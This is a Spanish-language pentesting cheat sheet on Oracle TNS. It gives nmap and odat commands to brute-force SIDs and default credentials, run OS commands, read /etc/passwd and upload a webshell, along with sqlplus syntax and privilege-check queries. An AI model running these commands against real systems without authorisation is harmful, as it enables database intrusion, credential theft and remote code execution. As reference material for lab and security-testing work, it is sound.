oracle-tns-transparent-network-substrate
Oracle TNS — Transparent Network Substrate
Section titled “Oracle TNS — Transparent Network Substrate”Oracle TNS es el protocolo de comunicación de Oracle Database. Opera en el puerto 1521 (TCP) por defecto. Oracle tiene una arquitectura más compleja que MySQL o MSSQL, con su propio sistema de naming, listeners y SIDs/Service Names que identifican cada instancia de base de datos.
Conceptos clave
Section titled “Conceptos clave”| Concepto | Descripción |
|---|---|
| TNS Listener | Proceso que escucha en el puerto 1521 y acepta conexiones entrantes hacia las instancias de Oracle |
| SID (System Identifier) | Nombre único que identifica una instancia de Oracle en el servidor |
| Service Name | Nombre alternativo de una base de datos, puede diferir del SID |
| tnsnames.ora | Archivo de configuración del cliente con los destinos de conexión |
| sqlnet.ora | Archivo de configuración de seguridad del cliente/servidor |
Enumeración
Section titled “Enumeración”# Detección básicanmap -sV -p 1521 targetnmap -sC -sV -p 1521 target
# Scripts específicos para Oraclenmap --script oracle-sid-brute -p 1521 target # brute force de SIDsnmap --script oracle-tns-version -p 1521 target # versión del TNS listenernmap --script oracle-enum-users --script-args oracle-enum-users.sid=XE -p 1521 targettnscmd10g — consultar el listener
Section titled “tnscmd10g — consultar el listener”tnscmd10g es una herramienta para interactuar directamente con el TNS Listener y extraer información:
# Obtener versión y estado del listenertnscmd10g version -h targettnscmd10g status -h target
# Información del listener con puerto específicotnscmd10g version -p 1521 -h targetodat — Oracle Database Attacking Tool
Section titled “odat — Oracle Database Attacking Tool”odat es la herramienta más completa para el pentesting de Oracle. Combina enumeración, brute force y explotación:
# Instalaciónpip3 install odat
# Descubrir SIDs del servidorodat sidguesser -s target -p 1521
# Brute force de SIDs con wordlistodat sidguesser -s target -p 1521 --sids-file /usr/share/seclists/Passwords/oracle-sids.txt
# Brute force de credenciales una vez conocido el SIDodat passwordguesser -s target -d XE -p 1521odat passwordguesser -s target -d XE --accounts-file /usr/share/seclists/Passwords/Default-Credentials/oracle-default-passwords.csv
# Módulos de enumeración con credenciales válidasodat all -s target -d XE -U usuario -P contraseña # ejecutar todos los módulosodat dbmsscheduler -s target -d XE -U usuario -P contraseña --sysdba # con privilegios SYSDBA
# Ejecutar comandos del sistemaodat externaltable -s target -d XE -U usuario -P contraseña --exec /bin/ls /tmpodat dbmsscheduler -s target -d XE -U usuario -P contraseña --exec "id"
# Leer archivosodat ctxsys -s target -d XE -U usuario -P contraseña --getFile /etc/passwd / passwd
# Subir archivos (webshell)odat utlfile -s target -d XE -U usuario -P contraseña --putFile /var/www/html shell.php /tmp/shell.phpsqlplus — cliente oficial de Oracle
Section titled “sqlplus — cliente oficial de Oracle”# Instalación del cliente Oracle (sqlplus)# Requiere descarga de Oracle Instant Client desde oracle.com
# Conectar a Oraclesqlplus usuario/contraseña@target:1521/XEsqlplus usuario/contraseña@target:1521/XE as sysdba
# Formato alternativosqlplus usuario/contraseña@//target:1521/XEConsultas SQL en Oracle
Section titled “Consultas SQL en Oracle”Oracle usa PL/SQL y tiene algunas diferencias de sintaxis respecto a MySQL/MSSQL:
-- Información del servidorSELECT * FROM v$version;SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- Usuario actualSELECT USER FROM dual;SELECT sys_context('USERENV', 'CURRENT_USER') FROM dual;
-- Bases de datos/schemas disponiblesSELECT name FROM v$database;SELECT username FROM dba_users; -- requiere privilegios DBASELECT username FROM all_users; -- usuarios visibles para el actual
-- TablasSELECT table_name FROM user_tables; -- tablas del usuario actualSELECT table_name FROM all_tables; -- todas las tablas accesiblesSELECT owner, table_name FROM dba_tables; -- todas las tablas (requiere DBA)
-- Privilegios del usuario actualSELECT * FROM session_privs;SELECT * FROM user_sys_privs;
-- Verificar si somos DBASELECT * FROM session_privs WHERE privilege = 'DBA';SIDs comunes
Section titled “SIDs comunes”Al hacer brute force de SIDs, empezar con los más comunes:
XE— Oracle Express Edition (el más frecuente en labs)ORCL— instalación por defecto en versiones antiguasDB— nombre genérico frecuentePROD,DEV,TEST,STAGE— entornos corporativos
Riesgos y misconfiguraciones
Section titled “Riesgos y misconfiguraciones”| Riesgo | Descripción |
|---|---|
| SID/Service Name predecible | SIDs como XE, ORCL o el nombre de la empresa son fáciles de adivinar. |
| Credenciales por defecto | sys/change_on_install, system/manager, scott/tiger son credenciales clásicas de Oracle. |
| Cuenta SYSDBA | Si se obtiene acceso como SYSDBA, se tiene control total sobre la base de datos y capacidad de ejecutar comandos del SO. |
| External Tables | Permiten leer archivos del sistema de archivos del servidor si el usuario tiene los privilegios necesarios. |
| UTL_FILE | Paquete Oracle que permite leer y escribir archivos del sistema. Con permisos adecuados → leer /etc/passwd, escribir webshells. |
| dbms_scheduler | Permite crear y ejecutar jobs del sistema operativo desde PL/SQL → RCE si el usuario tiene privilegios. |
| TNS Listener sin contraseña | En versiones antiguas el listener podía administrarse sin autenticación. |
Con credenciales de SYSDBA en Oracle, el acceso al sistema operativo es casi directo a través de
dbms_scheduler,utl_file,external tablesy otros paquetes que interactúan con el sistema de archivos y los procesos del servidor.
Las credenciales por defecto de Oracle (
sys/change_on_install,system/manager,scott/tiger) llevan décadas sin cambiar en muchas instalaciones. Siempre probarlas antes del brute force — ahorra mucho tiempo.